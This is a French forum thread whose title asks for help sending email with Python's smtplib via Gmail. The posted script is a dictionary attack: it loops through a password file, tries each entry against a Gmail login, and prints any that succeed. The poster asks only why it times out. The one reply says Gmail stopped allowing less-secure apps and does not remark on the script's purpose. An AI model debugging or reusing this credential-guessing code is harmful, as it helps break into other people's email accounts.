Erreur pour envoyer un email avec smtplib via gmail
Mousse
-
Utilisateur anonyme -
Utilisateur anonyme -
Bonjour,
Vous pourriez me dire ce qui ne convient pas dans ce code ?
from distutils.log import error import smtplib # Outlook.com #smtp_s = 'smtp-mail.outlook.com' # Gmail smtp_s = 'smtp.gmail.com' smtp_p = 25 sender = '***@***' dico = 'password.txt' with open(dico) as f: for password in f: password = password.replace('\n', '') try: m = smtplib.SMTP(smtp_s, smtp_p) m.ehlo() m.starttls() m.login(sender, password) print ('[OK] => ' + sender + ' : ' + password) m.close() exit() except smtplib.SMTPAuthenticationError as e: if e[0] == 25: # Gmail print ('[OK] => ' + sender + ' : ' + password) print (e) exit() else: print (('try ') + password + ' .... err. ' + str(e[0]) + ' >>> ' + e[1])
J'ai cette erreur quand je le lance :
TimeoutError: [WinError 10060] Une tentative de connexion a échoué car le parti connecté n’a pas répondu convenablement au-delà d’une certaine durée ou une connexion établie a échoué car l’hôte de connexion n’a pas répondu
Merci
Windows / Opera 91.0.4516.16
A voir également:
- Erreur pour envoyer un email avec smtplib via gmail
- Gmail connexion - Guide
- Créer un compte gmail - Guide
- Gmail envoyer un mail - Guide
- Accusé de reception gmail - Guide
- Espace de stockage gmail plein - Guide
Bonsoir
ça ne marche plus depuis cet été, les applications moins sécurisées ne sont plus tolérées.